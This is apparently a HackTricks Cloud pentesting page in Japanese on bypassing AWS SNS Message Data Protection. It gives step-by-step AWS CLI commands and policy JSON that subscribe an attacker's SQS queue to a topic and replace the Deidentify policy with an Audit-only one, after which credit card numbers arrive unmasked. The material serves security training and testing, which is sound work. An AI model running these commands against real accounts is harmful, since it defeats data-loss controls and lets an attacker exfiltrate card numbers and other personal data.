Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

4.6 KiB
Raw Blame History

AWS - SNS Message Data Protection ポリシーのダウングレードによるバイパス

{{#include ../../../../banners/hacktricks-training.md}}

トピックに sns:PutDataProtectionPolicy の権限がある場合、その Message Data Protection ポリシーを Deidentify/Deny から Audit-only に切り替える(または Outbound 制御を削除する)ことで、クレジットカード番号などの機密値が購読先にマスクされずに配信されるようにできます。

要件

  • 対象トピックに対して sns:PutDataProtectionPolicy を呼び出す権限(データを受け取りたい場合は通常 sns:Subscribe も)。
  • Standard SNS トピックMessage Data Protection がサポートされていること)。

攻撃手順

  • 変数
REGION=us-east-1
  1. 標準トピックと攻撃者用の SQS キューを作成し、そのトピックのみがキューに送信できるように許可する
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. アウトバウンドメッセージでクレジットカード番号をマスクする data protection ポリシーを適用する
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. 攻撃者のキューをサブスクライブし、テスト用のクレジットカード番号付きメッセージを公開してマスキングを確認する
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

期待される抜粋はマスキング(ハッシュ)を示します:

"Message" : "payment:{cc:################}"
  1. ポリシーを audit-only にダウングレードするOutbound に影響する deidentify/deny ステートメントは含めない)

SNS では、Audit ステートメントは Inbound にする必要がある。ポリシーを Audit-only の Inbound ステートメントに置き換えると、Outbound の de-identification がすべて除去され、メッセージは変化なくサブスクライバーに配信される。

cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. 同じメッセージを publish し、マスク解除された値が配信されることを確認する
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

期待される抜粋はプレーンテキストの CC を示す:

4539894458086459

影響

  • トピックを de-identification/deny から audit-only に切り替える(または Outbound controls を削除することで、PII/secrets が改変されることなく攻撃者が制御するサブスクリプションへ送信され、本来はマスクまたはブロックされるはずのデータの data exfiltration を可能にします。

{{#include ../../../../banners/hacktricks-training.md}}